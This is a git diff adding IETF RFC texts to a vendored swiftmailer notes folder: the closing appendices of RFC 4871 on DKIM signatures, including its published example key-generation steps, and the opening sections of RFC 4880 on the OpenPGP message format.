(VPN) + connection to the corporate network, either because the device is + limited or because there are restrictions enforced by his Internet + access provider. If the device was equipped with a private key + registered for jdoe@example.com by the administrator of the + example.com domain, and appropriate software to sign messages, John + could sign the message on the device itself before transmission + through the outgoing network of the access service provider. + +B.1.3. Roaming Users + + Roaming users often find themselves in circumstances where it is + convenient or necessary to use an SMTP server other than their home + server; examples are conferences and many hotels. In such + circumstances, a signature that is added by the submission service + will use an identity that is different from the user's home system. + + Ideally, roaming users would connect back to their home server using + either a VPN or a SUBMISSION server running with SMTP AUTHentication + on port 587. If the signing can be performed on the roaming user's + laptop, then they can sign before submission, although the risk of + further modification is high. If neither of these are possible, + these roaming users will not be able to send mail signed using their + own domain key. + +B.1.4. Independent (Kiosk) Message Submission + + Stand-alone services, such as walk-up kiosks and web-based + information services, have no enduring email service relationship + with the user, but users occasionally request that mail be sent on + their behalf. For example, a website providing news often allows the + reader to forward a copy of the article to a friend. This is + typically done using the reader's own email address, to indicate who + the author is. This is sometimes referred to as the "Evite problem", + + + + +Allman, et al. Standards Track [Page 64] + +RFC 4871 DKIM Signatures May 2007 + + + named after the website of the same name that allows a user to send + invitations to friends. + + A common way this is handled is to continue to put the reader's email + address in the From header field of the message, but put an address + owned by the email posting site into the Sender header field. The + posting site can then sign the message, using the domain that is in + the Sender field. This provides useful information to the receiving + email site, which is able to correlate the signing domain with the + initial submission email role. + + Receiving sites often wish to provide their end users with + information about mail that is mediated in this fashion. Although + the real efficacy of different approaches is a subject for human + factors usability research, one technique that is used is for the + verifying system to rewrite the From header field, to indicate the + address that was verified. For example: From: John Doe via + news@news-site.com . (Note that such rewriting + will break a signature, unless it is done after the verification pass + is complete.) + +B.2. Alternate Delivery Scenarios + + Email is often received at a mailbox that has an address different + from the one used during initial submission. In these cases, an + intermediary mechanism operates at the address originally used and it + then passes the message on to the final destination. This mediation + process presents some challenges for DKIM signatures. + +B.2.1. Affinity Addresses + + "Affinity addresses" allow a user to have an email address that + remains stable, even as the user moves among different email + providers. They are typically associated with college alumni + associations, professional organizations, and recreational + organizations with which they expect to have a long-term + relationship. These domains usually provide forwarding of incoming + email, and they often have an associated Web application that + authenticates the user and allows the forwarding address to be + changed. However, these services usually depend on users sending + outgoing messages through their own service providers' MTAs. Hence, + mail that is signed with the domain of the affinity address is not + signed by an entity that is administered by the organization owning + that domain. + + With DKIM, affinity domains could use the Web application to allow + users to register per-user keys to be used to sign messages on behalf + of their affinity address. The user would take away the secret half + + + +Allman, et al. Standards Track [Page 65] + +RFC 4871 DKIM Signatures May 2007 + + + of the key pair for signing, and the affinity domain would publish + the public half in DNS for access by verifiers. + + This is another application that takes advantage of user-level + keying, and domains used for affinity addresses would typically have + a very large number of user-level keys. Alternatively, the affinity + domain could handle outgoing mail, operating a mail submission agent + that authenticates users before accepting and signing messages for + them. This is of course dependent on the user's service provider not + blocking the relevant TCP ports used for mail submission. + +B.2.2. Simple Address Aliasing (.forward) + + In some cases, a recipient is allowed to configure an email address + to cause automatic redirection of email messages from the original + address to another, such as through the use of a Unix .forward file. + In this case, messages are typically redirected by the mail handling + service of the recipient's domain, without modification, except for + the addition of a Received header field to the message and a change + in the envelope recipient address. In this case, the recipient at + the final address' mailbox is likely to be able to verify the + original signature since the signed content has not changed, and DKIM + is able to validate the message signature. + +B.2.3. Mailing Lists and Re-Posters + + There is a wide range of behaviors in services that take delivery of + a message and then resubmit it. A primary example is with mailing + lists (collectively called "forwarders" below), ranging from those + that make no modification to the message itself, other than to add a + Received header field and change the envelope information, to those + that add header fields, change the Subject header field, add content + to the body (typically at the end), or reformat the body in some + manner. The simple ones produce messages that are quite similar to + the automated alias services. More elaborate systems essentially + create a new message. + + A Forwarder that does not modify the body or signed header fields of + a message is likely to maintain the validity of the existing + signature. It also could choose to add its own signature to the + message. + + Forwarders which modify a message in a way that could make an + existing signature invalid are particularly good candidates for + adding their own signatures (e.g., mailing-list-name@example.net). + Since (re-)signing is taking responsibility for the content of the + message, these signing forwarders are likely to be selective, and + forward or re-sign a message only if it is received with a valid + + + +Allman, et al. Standards Track [Page 66] + +RFC 4871 DKIM Signatures May 2007 + + + signature or if they have some other basis for knowing that the + message is not spoofed. + + A common practice among systems that are primarily redistributors of + mail is to add a Sender header field to the message, to identify the + address being used to sign the message. This practice will remove + any preexisting Sender header field as required by [RFC2822]. The + forwarder applies a new DKIM-Signature header field with the + signature, public key, and related information of the forwarder. + +Appendix C. Creating a Public Key (INFORMATIVE) + + The default signature is an RSA signed SHA256 digest of the complete + email. For ease of explanation, the openssl command is used to + describe the mechanism by which keys and signatures are managed. One + way to generate a 1024-bit, unencrypted private key suitable for DKIM + is to use openssl like this: + + $ openssl genrsa -out rsa.private 1024 + + For increased security, the "-passin" parameter can also be added to + encrypt the private key. Use of this parameter will require entering + a password for several of the following steps. Servers may prefer to + use hardware cryptographic support. + + The "genrsa" step results in the file rsa.private containing the key + information similar to this: + + -----BEGIN RSA PRIVATE KEY----- + MIICXwIBAAKBgQDwIRP/UC3SBsEmGqZ9ZJW3/DkMoGeLnQg1fWn7/zYtIxN2SnFC + jxOCKG9v3b4jYfcTNh5ijSsq631uBItLa7od+v/RtdC2UzJ1lWT947qR+Rcac2gb + to/NMqJ0fzfVjH4OuKhitdY9tf6mcwGjaNBcWToIMmPSPDdQPNUYckcQ2QIDAQAB + AoGBALmn+XwWk7akvkUlqb+dOxyLB9i5VBVfje89Teolwc9YJT36BGN/l4e0l6QX + /1//6DWUTB3KI6wFcm7TWJcxbS0tcKZX7FsJvUz1SbQnkS54DJck1EZO/BLa5ckJ + gAYIaqlA9C0ZwM6i58lLlPadX/rtHb7pWzeNcZHjKrjM461ZAkEA+itss2nRlmyO + n1/5yDyCluST4dQfO8kAB3toSEVc7DeFeDhnC1mZdjASZNvdHS4gbLIA1hUGEF9m + 3hKsGUMMPwJBAPW5v/U+AWTADFCS22t72NUurgzeAbzb1HWMqO4y4+9Hpjk5wvL/ + eVYizyuce3/fGke7aRYw/ADKygMJdW8H/OcCQQDz5OQb4j2QDpPZc0Nc4QlbvMsj + 7p7otWRO5xRa6SzXqqV3+F0VpqvDmshEBkoCydaYwc2o6WQ5EBmExeV8124XAkEA + qZzGsIxVP+sEVRWZmW6KNFSdVUpk3qzK0Tz/WjQMe5z0UunY9Ax9/4PVhp/j61bf + eAYXunajbBSOLlx4D+TunwJBANkPI5S9iylsbLs6NkaMHV6k5ioHBBmgCak95JGX + GMot/L2x0IYyMLAz6oLWh2hm7zwtb0CgOrPo1ke44hFYnfc= + -----END RSA PRIVATE KEY----- + + To extract the public-key component from the private key, use openssl + like this: + + $ openssl rsa -in rsa.private -out rsa.public -pubout -outform PEM + + + +Allman, et al. Standards Track [Page 67] + +RFC 4871 DKIM Signatures May 2007 + + + This results in the file rsa.public containing the key information + similar to this: + + -----BEGIN PUBLIC KEY----- + MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDwIRP/UC3SBsEmGqZ9ZJW3/DkM + oGeLnQg1fWn7/zYtIxN2SnFCjxOCKG9v3b4jYfcTNh5ijSsq631uBItLa7od+v/R + tdC2UzJ1lWT947qR+Rcac2gbto/NMqJ0fzfVjH4OuKhitdY9tf6mcwGjaNBcWToI + MmPSPDdQPNUYckcQ2QIDAQAB + -----END PUBLIC KEY----- + + This public-key data (without the BEGIN and END tags) is placed in + the DNS: + + brisbane IN TXT ("v=DKIM1; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQ" + "KBgQDwIRP/UC3SBsEmGqZ9ZJW3/DkMoGeLnQg1fWn7/zYt" + "IxN2SnFCjxOCKG9v3b4jYfcTNh5ijSsq631uBItLa7od+v" + "/RtdC2UzJ1lWT947qR+Rcac2gbto/NMqJ0fzfVjH4OuKhi" + "tdY9tf6mcwGjaNBcWToIMmPSPDdQPNUYckcQ2QIDAQAB") + +Appendix D. MUA Considerations + + When a DKIM signature is verified, the processing system sometimes + makes the result available to the recipient user's MUA. How to + present this information to the user in a way that helps them is a + matter of continuing human factors usability research. The tendency + is to have the MUA highlight the address associated with this signing + identity in some way, in an attempt to show the user the address from + which the mail was sent. An MUA might do this with visual cues such + as graphics, or it might include the address in an alternate view, or + it might even rewrite the original From address using the verified + information. Some MUAs might indicate which header fields were + protected by the validated DKIM signature. This could be done with a + positive indication on the signed header fields, with a negative + indication on the unsigned header fields, by visually hiding the + unsigned header fields, or some combination of these. If an MUA uses + visual indications for signed header fields, the MUA probably needs + to be careful not to display unsigned header fields in a way that + might be construed by the end user as having been signed. If the + message has an l= tag whose value does not extend to the end of the + message, the MUA might also hide or mark the portion of the message + body that was not signed. + + The aforementioned information is not intended to be exhaustive. The + MUA may choose to highlight, accentuate, hide, or otherwise display + any other information that may, in the opinion of the MUA author, be + deemed important to the end user. + + + + + +Allman, et al. Standards Track [Page 68] + +RFC 4871 DKIM Signatures May 2007 + + +Appendix E. Acknowledgements + + The authors wish to thank Russ Allbery, Edwin Aoki, Claus Assmann, + Steve Atkins, Rob Austein, Fred Baker, Mark Baugher, Steve Bellovin, + Nathaniel Borenstein, Dave Crocker, Michael Cudahy, Dennis Dayman, + Jutta Degener, Frank Ellermann, Patrik Faeltstroem, Mark Fanto, + Stephen Farrell, Duncan Findlay, Elliot Gillum, Olafur + Gu[eth]mundsson, Phillip Hallam-Baker, Tony Hansen, Sam Hartman, + Arvel Hathcock, Amir Herzberg, Paul Hoffman, Russ Housley, Craig + Hughes, Cullen Jennings, Don Johnsen, Harry Katz, Murray S. + Kucherawy, Barry Leiba, John Levine, Charles Lindsey, Simon + Longsdale, David Margrave, Justin Mason, David Mayne, Thierry Moreau, + Steve Murphy, Russell Nelson, Dave Oran, Doug Otis, Shamim Pirzada, + Juan Altmayer Pizzorno, Sanjay Pol, Blake Ramsdell, Christian Renaud, + Scott Renfro, Neil Rerup, Eric Rescorla, Dave Rossetti, Hector + Santos, Jim Schaad, the Spamhaus.org team, Malte S. Stretz, Robert + Sanders, Rand Wacker, Sam Weiler, and Dan Wing for their valuable + suggestions and constructive criticism. + + The DomainKeys specification was a primary source from which this + specification has been derived. Further information about DomainKeys + is at [RFC4870]. + +Authors' Addresses + + Eric Allman + Sendmail, Inc. + 6425 Christie Ave, Suite 400 + Emeryville, CA 94608 + USA + + Phone: +1 510 594 5501 + EMail: eric+dkim@sendmail.org + URI: + + + Jon Callas + PGP Corporation + 3460 West Bayshore + Palo Alto, CA 94303 + USA + + Phone: +1 650 319 9016 + EMail: jon@pgp.com + + + + + + + +Allman, et al. Standards Track [Page 69] + +RFC 4871 DKIM Signatures May 2007 + + + Mark Delany + Yahoo! Inc + 701 First Avenue + Sunnyvale, CA 95087 + USA + + Phone: +1 408 349 6831 + EMail: markd+dkim@yahoo-inc.com + URI: + + + Miles Libbey + Yahoo! Inc + 701 First Avenue + Sunnyvale, CA 95087 + USA + + EMail: mlibbeymail-mailsig@yahoo.com + URI: + + + Jim Fenton + Cisco Systems, Inc. + MS SJ-9/2 + 170 W. Tasman Drive + San Jose, CA 95134-1706 + USA + + Phone: +1 408 526 5914 + EMail: fenton@cisco.com + URI: + + + Michael Thomas + Cisco Systems, Inc. + MS SJ-9/2 + 170 W. Tasman Drive + San Jose, CA 95134-1706 + + Phone: +1 408 525 5386 + EMail: mat@cisco.com + + + + + + + + + + +Allman, et al. Standards Track [Page 70] + +RFC 4871 DKIM Signatures May 2007 + + +Full Copyright Statement + + Copyright (C) The IETF Trust (2007). + + This document is subject to the rights, licenses and restrictions + contained in BCP 78, and except as set forth therein, the authors + retain all their rights. + + This document and the information contained herein are provided on an + "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS + OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY, THE IETF TRUST AND + THE INTERNET ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS + OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF + THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED + WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Intellectual Property + + The IETF takes no position regarding the validity or scope of any + Intellectual Property Rights or other rights that might be claimed to + pertain to the implementation or use of the technology described in + this document or the extent to which any license under such rights + might or might not be available; nor does it represent that it has + made any independent effort to identify any such rights. Information + on the procedures with respect to rights in RFC documents can be + found in BCP 78 and BCP 79. + + Copies of IPR disclosures made to the IETF Secretariat and any + assurances of licenses to be made available, or the result of an + attempt made to obtain a general license or permission for the use of + such proprietary rights by implementers or users of this + specification can be obtained from the IETF on-line IPR repository at + http://www.ietf.org/ipr. + + The IETF invites any interested party to bring to its attention any + copyrights, patents or patent applications, or other proprietary + rights that may cover technology that may be required to implement + this standard. Please address the information to the IETF at + ietf-ipr@ietf.org. + +Acknowledgement + + Funding for the RFC Editor function is currently provided by the + Internet Society. + + + + + + + +Allman, et al. Standards Track [Page 71] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4880.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4880.txt new file mode 100644 index 00000000..0db94537 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc4880.txt @@ -0,0 +1,5042 @@ + + + + + +Network Working Group J. Callas +Request for Comments: 4880 PGP Corporation +Obsoletes: 1991, 2440 L. Donnerhacke +Category: Standards Track IKS GmbH + H. Finney + PGP Corporation + D. Shaw + R. Thayer + November 2007 + + + OpenPGP Message Format + +Status of This Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Abstract + + This document is maintained in order to publish all necessary + information needed to develop interoperable applications based on the + OpenPGP format. It is not a step-by-step cookbook for writing an + application. It describes only the format and methods needed to + read, check, generate, and write conforming packets crossing any + network. It does not deal with storage and implementation questions. + It does, however, discuss implementation issues necessary to avoid + security flaws. + + OpenPGP software uses a combination of strong public-key and + symmetric cryptography to provide security services for electronic + communications and data storage. These services include + confidentiality, key management, authentication, and digital + signatures. This document specifies the message formats used in + OpenPGP. + + + + + + + + + + + + + +Callas, et al Standards Track [Page 1] + +RFC 4880 OpenPGP Message Format November 2007 + + +Table of Contents + + 1. Introduction ....................................................5 + 1.1. Terms ......................................................5 + 2. General functions ...............................................6 + 2.1. Confidentiality via Encryption .............................6 + 2.2. Authentication via Digital Signature .......................7 + 2.3. Compression ................................................7 + 2.4. Conversion to Radix-64 .....................................8 + 2.5. Signature-Only Applications ................................8 + 3. Data Element Formats ............................................8 + 3.1. Scalar Numbers .............................................8 + 3.2. Multiprecision Integers ....................................9 + 3.3. Key IDs ....................................................9 + 3.4. Text .......................................................9 + 3.5. Time Fields ...............................................10 + 3.6. Keyrings ..................................................10 + 3.7. String-to-Key (S2K) Specifiers ............................10 + 3.7.1. String-to-Key (S2K) Specifier Types ................10 + 3.7.1.1. Simple S2K ................................10 + 3.7.1.2. Salted S2K ................................11 + 3.7.1.3. Iterated and Salted S2K ...................11 + 3.7.2. String-to-Key Usage ................................12 + 3.7.2.1. Secret-Key Encryption .....................12 + 3.7.2.2. Symmetric-Key Message Encryption ..........13 + 4. Packet Syntax ..................................................13 + 4.1. Overview ..................................................13 + 4.2. Packet Headers ............................................13 + 4.2.1. Old Format Packet Lengths ..........................14 + 4.2.2. New Format Packet Lengths ..........................15 + 4.2.2.1. One-Octet Lengths .........................15 + 4.2.2.2. Two-Octet Lengths .........................15 + 4.2.2.3. Five-Octet Lengths ........................15 + 4.2.2.4. Partial Body Lengths ......................16 + 4.2.3. Packet Length Examples .............................16 + 4.3. Packet Tags ...............................................17 + 5. Packet Types ...................................................17 + 5.1. Public-Key Encrypted Session Key Packets (Tag 1) ..........17 + 5.2. Signature Packet (Tag 2) ..................................19 + 5.2.1. Signature Types ....................................19 + 5.2.2. Version 3 Signature Packet Format ..................21 + 5.2.3. Version 4 Signature Packet Format ..................24 + 5.2.3.1. Signature Subpacket Specification .........25 + 5.2.3.2. Signature Subpacket Types .................27 + 5.2.3.3. Notes on Self-Signatures ..................27 + 5.2.3.4. Signature Creation Time ...................28 + 5.2.3.5. Issuer ....................................28 + 5.2.3.6. Key Expiration Time .......................28 + + + +Callas, et al Standards Track [Page 2] + +RFC 4880 OpenPGP Message Format November 2007 + + + 5.2.3.7. Preferred Symmetric Algorithms ............28 + 5.2.3.8. Preferred Hash Algorithms .................29 + 5.2.3.9. Preferred Compression Algorithms ..........29 + 5.2.3.10. Signature Expiration Time ................29 + 5.2.3.11. Exportable Certification .................29 + 5.2.3.12. Revocable ................................30 + 5.2.3.13. Trust Signature ..........................30 + 5.2.3.14. Regular Expression .......................31 + 5.2.3.15. Revocation Key ...........................31 + 5.2.3.16. Notation Data ............................31 + 5.2.3.17. Key Server Preferences ...................32 + 5.2.3.18. Preferred Key Server .....................33 + 5.2.3.19. Primary User ID ..........................33 + 5.2.3.20. Policy URI ...............................33 + 5.2.3.21. Key Flags ................................33 + 5.2.3.22. Signer's User ID .........................34 + 5.2.3.23. Reason for Revocation ....................35 + 5.2.3.24. Features .................................36 + 5.2.3.25. Signature Target .........................36 + 5.2.3.26. Embedded Signature .......................37 + 5.2.4. Computing Signatures ...............................37 + 5.2.4.1. Subpacket Hints ...........................38 + 5.3. Symmetric-Key Encrypted Session Key Packets (Tag 3) .......38 + 5.4. One-Pass Signature Packets (Tag 4) ........................39 + 5.5. Key Material Packet .......................................40 + 5.5.1. Key Packet Variants ................................40 + 5.5.1.1. Public-Key Packet (Tag 6) .................40 + 5.5.1.2. Public-Subkey Packet (Tag 14) .............40 + 5.5.1.3. Secret-Key Packet (Tag 5) .................41 + 5.5.1.4. Secret-Subkey Packet (Tag 7) ..............41 + 5.5.2. Public-Key Packet Formats ..........................41 + 5.5.3. Secret-Key Packet Formats ..........................43 + 5.6. Compressed Data Packet (Tag 8) ............................45 + 5.7. Symmetrically Encrypted Data Packet (Tag 9) ...............45 + 5.8. Marker Packet (Obsolete Literal Packet) (Tag 10) ..........46 + 5.9. Literal Data Packet (Tag 11) ..............................46 + 5.10. Trust Packet (Tag 12) ....................................47 + 5.11. User ID Packet (Tag 13) ..................................48 + 5.12. User Attribute Packet (Tag 17) ...........................48 + 5.12.1. The Image Attribute Subpacket .....................48 + 5.13. Sym. Encrypted Integrity Protected Data Packet (Tag 18) ..49 + 5.14. Modification Detection Code Packet (Tag 19) ..............52 + 6. Radix-64 Conversions ...........................................53 + 6.1. An Implementation of the CRC-24 in "C" ....................54 + 6.2. Forming ASCII Armor .......................................54 + 6.3. Encoding Binary in Radix-64 ...............................57 + 6.4. Decoding Radix-64 .........................................58 + 6.5. Examples of Radix-64 ......................................59 + + + +Callas, et al Standards Track [Page 3] + +RFC 4880 OpenPGP Message Format November 2007 + + + 6.6. Example of an ASCII Armored Message .......................59 + 7. Cleartext Signature Framework ..................................59 + 7.1. Dash-Escaped Text .........................................60 + 8. Regular Expressions ............................................61 + 9. Constants ......................................................61 + 9.1. Public-Key Algorithms .....................................62 + 9.2. Symmetric-Key Algorithms ..................................62 + 9.3. Compression Algorithms ....................................63 + 9.4. Hash Algorithms ...........................................63 + 10. IANA Considerations ...........................................63 + 10.1. New String-to-Key Specifier Types ........................64 + 10.2. New Packets ..............................................64 + 10.2.1. User Attribute Types ..............................64 + 10.2.1.1. Image Format Subpacket Types .............64 + 10.2.2. New Signature Subpackets ..........................64 + 10.2.2.1. Signature Notation Data Subpackets .......65 + 10.2.2.2. Key Server Preference Extensions .........65 + 10.2.2.3. Key Flags Extensions .....................65 + 10.2.2.4. Reason For Revocation Extensions .........65 + 10.2.2.5. Implementation Features ..................66 + 10.2.3. New Packet Versions ...............................66 + 10.3. New Algorithms ...........................................66 + 10.3.1. Public-Key Algorithms .............................66 + 10.3.2. Symmetric-Key Algorithms ..........................67 + 10.3.3. Hash Algorithms ...................................67 + 10.3.4. Compression Algorithms ............................67 + 11. Packet Composition ............................................67 + 11.1. Transferable Public Keys .................................67 + 11.2. Transferable Secret Keys .................................69 + 11.3. OpenPGP Messages .........................................69 + 11.4. Detached Signatures ......................................70 + 12. Enhanced Key Formats ..........................................70 + 12.1. Key Structures ...........................................70 + 12.2. Key IDs and Fingerprints .................................71 + 13. Notes on Algorithms ...........................................72 + 13.1. PKCS#1 Encoding in OpenPGP ...............................72 + 13.1.1. EME-PKCS1-v1_5-ENCODE .............................73 + 13.1.2. EME-PKCS1-v1_5-DECODE .............................73 + 13.1.3. EMSA-PKCS1-v1_5 ...................................74 + 13.2. Symmetric Algorithm Preferences ..........................75 + 13.3. Other Algorithm Preferences ..............................76 + 13.3.1. Compression Preferences ...........................76 + 13.3.2. Hash Algorithm Preferences ........................76 + 13.4. Plaintext ................................................77 + 13.5. RSA ......................................................77 + 13.6. DSA ......................................................77 + 13.7. Elgamal ..................................................78 + 13.8. Reserved Algorithm Numbers ...............................78 + + + +Callas, et al Standards Track [Page 4] + +RFC 4880 OpenPGP Message Format November 2007 + + + 13.9. OpenPGP CFB Mode .........................................78 + 13.10. Private or Experimental Parameters ......................79 + 13.11. Extension of the MDC System .............................80 + 13.12. Meta-Considerations for Expansion .......................80 + 14. Security Considerations .......................................81 + 15. Implementation Nits ...........................................84 + 16. References ....................................................86 + 16.1. Normative References .....................................86 + 16.2. Informative References ...................................88 + +1. Introduction + + This document provides information on the message-exchange packet + formats used by OpenPGP to provide encryption, decryption, signing, + and key management functions. It is a revision of RFC 2440, "OpenPGP + Message Format", which itself replaces RFC 1991, "PGP Message + Exchange Formats" [RFC1991] [RFC2440]. + +1.1. Terms + + * OpenPGP - This is a term for security software that uses PGP 5.x + as a basis, formalized in RFC 2440 and this document. + + * PGP - Pretty Good Privacy. PGP is a family of software systems + developed by Philip R. Zimmermann from which OpenPGP is based. + + * PGP 2.6.x - This version of PGP has many variants, hence the term + PGP 2.6.x. It used only RSA, MD5, and IDEA for its cryptographic + transforms. An informational RFC, RFC 1991, was written + describing this version of PGP. + + * PGP 5.x - This version of PGP is formerly known as "PGP 3" in the + community and also in the predecessor of this document, RFC 1991. + It has new formats and corrects a number of problems in the PGP + 2.6.x design. It is referred to here as PGP 5.x because that + software was the first release of the "PGP 3" code base. + + * GnuPG - GNU Privacy Guard, also called GPG. GnuPG is an OpenPGP + implementation that avoids all encumbered algorithms. + Consequently, early versions of GnuPG did not include RSA public + keys. GnuPG may or may not have (depending on version) support + for IDEA or other encumbered algorithms. + + "PGP", "Pretty Good", and "Pretty Good Privacy" are trademarks of PGP + Corporation and are used with permission. The term "OpenPGP" refers + to the protocol described in this and related documents. + + + + + +Callas, et al Standards Track [Page 5] + +RFC 4880 OpenPGP Message Format November 2007 + + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described in [RFC2119]. + + The key words "PRIVATE USE", "HIERARCHICAL ALLOCATION", "FIRST COME + FIRST SERVED", "EXPERT REVIEW", "SPECIFICATION REQUIRED", "IESG + APPROVAL", "IETF CONSENSUS", and "STANDARDS ACTION" that appear in + this document when used to describe namespace allocation are to be + interpreted as described in [RFC2434]. + +2. General functions + + OpenPGP provides data integrity services for messages and data files + by using these core technologies: + + - digital signatures + + - encryption + + - compression + + - Radix-64 conversion + + In addition, OpenPGP provides key management and certificate + services, but many of these are beyond the scope of this document. + +2.1. Confidentiality via Encryption + + OpenPGP combines symmetric-key encryption and public-key encryption + to provide confidentiality. When made confidential, first the object + is encrypted using a symmetric encryption algorithm. Each symmetric + key is used only once, for a single object. A new "session key" is + generated as a random number for each object (sometimes referred to + as a session). Since it is used only once, the session key is bound + to the message and transmitted with it. To protect the key, it is + encrypted with the receiver's public key. The sequence is as + follows: + + 1. The sender creates a message. + + 2. The sending OpenPGP generates a random number to be used as a + session key for this message only. + + 3. The session key is encrypted using each recipient's public key. + These "encrypted session keys" start the message. + + + + + + +Callas, et al Standards Track [Page 6] + +RFC 4880 OpenPGP Message Format November 2007 + + + 4. The sending OpenPGP encrypts the message using the session key, + which forms the remainder of the message. Note that the message + is also usually compressed. + + 5. The receiving OpenPGP decrypts the session key using the + recipient's private key. + + 6. The receiving OpenPGP decrypts the message using the session key. + If the message was compressed, it will be decompressed. + + With symmetric-key encryption, an object may be encrypted with a + symmetric key derived from a passphrase (or other shared secret), or + a two-stage mechanism similar to the public-key method described + above in which a session key is itself encrypted with a symmetric + algorithm keyed from a shared secret. + + Both digital signature and confidentiality services may be applied to + the same message. First, a signature is generated for the message + and attached to the message. Then the message plus signature is + encrypted using a symmetric session key. Finally, the session key is + encrypted using public-key encryption and prefixed to the encrypted + block. + +2.2. Authentication via Digital Signature + + The digital signature uses a hash code or message digest algorithm, + and a public-key signature algorithm. The sequence is as follows: + + 1. The sender creates a message. + + 2. The sending software generates a hash code of the message. + + 3. The sending software generates a signature from the hash code + using the sender's private key. + + 4. The binary signature is attached to the message. + + 5. The receiving software keeps a copy of the message signature. + + 6. The receiving software generates a new hash code for the received + message and verifies it using the message's signature. If the + verification is successful, the message is accepted as authentic. + +2.3. Compression + + OpenPGP implementations SHOULD compress the message after applying + the signature but before encryption. + + + + +Callas, et al Standards Track [Page 7] + +RFC 4880 OpenPGP Message Format November 2007 + + + If an implementation does not implement compression, its authors + should be aware that most OpenPGP messages in the world are + compressed. Thus, it may even be wise for a space-constrained + implementation to implement decompression, but not compression. + + Furthermore, compression has the added side effect that some types of + attacks can be thwarted by the fact that slightly altered, compressed + data rarely uncompresses without severe errors. This is hardly + rigorous, but it is operationally useful. These attacks can be + rigorously prevented by implementing and using Modification Detection + Codes as described in sections following. + +2.4. Conversion to Radix-64 + + OpenPGP's underlying native representation for encrypted messages, + signature certificates, and keys is a stream of arbitrary octets. + Some systems only permit the use of blocks consisting of seven-bit, + printable text. For transporting OpenPGP's native raw binary octets + through channels that are not safe to raw binary data, a printable + encoding of these binary octets is needed. OpenPGP provides the + service of converting the raw 8-bit binary octet stream to a stream + of printable ASCII characters, called Radix-64 encoding or ASCII + Armor. + + Implementations SHOULD provide Radix-64 conversions. + +2.5. Signature-Only Applications + + OpenPGP is designed for applications that use both encryption and + signatures, but there are a number of problems that are solved by a + signature-only implementation. Although this specification requires + both encryption and signatures, it is reasonable for there to be + subset implementations that are non-conformant only in that they omit + encryption. + +3. Data Element Formats + + This section describes the data elements used by OpenPGP. + +3.1. Scalar Numbers + + Scalar numbers are unsigned and are always stored in big-endian + format. Using n[k] to refer to the kth octet being interpreted, the + value of a two-octet scalar is ((n[0] << 8) + n[1]). The value of a + four-octet scalar is ((n[0] << 24) + (n[1] << 16) + (n[2] << 8) + + n[3]). + + + + + +Callas, et al Standards Track [Page 8] + +RFC 4880 OpenPGP Message Format November 2007 + + +3.2. Multiprecision Integers + + Multiprecision integers (also called MPIs) are unsigned integers used + to hold large integers such as the ones used in cryptographic + calculations. + + An MPI consists of two pieces: a two-octet scalar that is the length + of the MPI in bits followed by a string of octets that contain the + actual integer. + + These octets form a big-endian number; a big-endian number can be + made into an MPI by prefixing it with the appropriate length. + + Examples: + + (all numbers are in hexadecimal) + + The string of octets [00 01 01] forms an MPI with the value 1. The + string [00 09 01 FF] forms an MPI with the value of 511. + + Additional rules: + + The size of an MPI is ((MPI.length + 7) / 8) + 2 octets. + + The length field of an MPI describes the length starting from its + most significant non-zero bit. Thus, the MPI [00 02 01] is not + formed correctly. It should be [00 01 01]. + + Unused bits of an MPI MUST be zero. + + Also note that when an MPI is encrypted, the length refers to the + plaintext MPI. It may be ill-formed in its ciphertext. + +3.3. Key IDs + + A Key ID is an eight-octet scalar that identifies a key. + Implementations SHOULD NOT assume that Key IDs are unique. The + section "Enhanced Key Formats" below describes how Key IDs are + formed. + +3.4. Text + + Unless otherwise specified, the character set for text is the UTF-8 + [RFC3629] encoding of Unicode [ISO10646]. + + + + + + + +Callas, et al Standards Track [Page 9] + +RFC 4880 OpenPGP Message Format November 2007 + + +3.5. Time Fields + + A time field is an unsigned four-octet number containing the number + of seconds elapsed since midnight, 1 January 1970 UTC. + +3.6. Keyrings + + A keyring is a collection of one or more keys in a file or database. + Traditionally, a keyring is simply a sequential list of keys, but may + be any suitable database. It is beyond the scope of this standard to + discuss the details of keyrings or other databases. + +3.7. String-to-Key (S2K) Specifiers + + String-to-key (S2K) specifiers are used to convert passphrase strings + into symmetric-key encryption/decryption keys. They are used in two + places, currently: to encrypt the secret part of private keys in the + private keyring, and to convert passphrases to encryption keys for + symmetrically encrypted messages. + +3.7.1. String-to-Key (S2K) Specifier Types + + There are three types of S2K specifiers currently supported, and + some reserved values: + + ID S2K Type + -- -------- + 0 Simple S2K + 1 Salted S2K + 2 Reserved value + 3 Iterated and Salted S2K + 100 to 110 Private/Experimental S2K + + These are described in Sections 3.7.1.1 - 3.7.1.3. + +3.7.1.1. Simple S2K + + This directly hashes the string to produce the key data. See below + for how this hashing is done. + + Octet 0: 0x00 + Octet 1: hash algorithm + + Simple S2K hashes the passphrase to produce the session key. The + manner in which this is done depends on the size of the session key + (which will depend on the cipher used) and the size of the hash + + + + + +Callas, et al Standards Track [Page 10] + +RFC 4880 OpenPGP Message Format November 2007 + + + algorithm's output. If the hash size is greater than the session key + size, the high-order (leftmost) octets of the hash are used as the + key. + + If the hash size is less than the key size, multiple instances of the + hash context are created -- enough to produce the required key data. + These instances are preloaded with 0, 1, 2, ... octets of zeros (that + is to say, the first instance has no preloading, the second gets + preloaded with 1 octet of zero, the third is preloaded with two + octets of zeros, and so forth). + + As the data is hashed, it is given independently to each hash + context. Since the contexts have been initialized differently, they + will 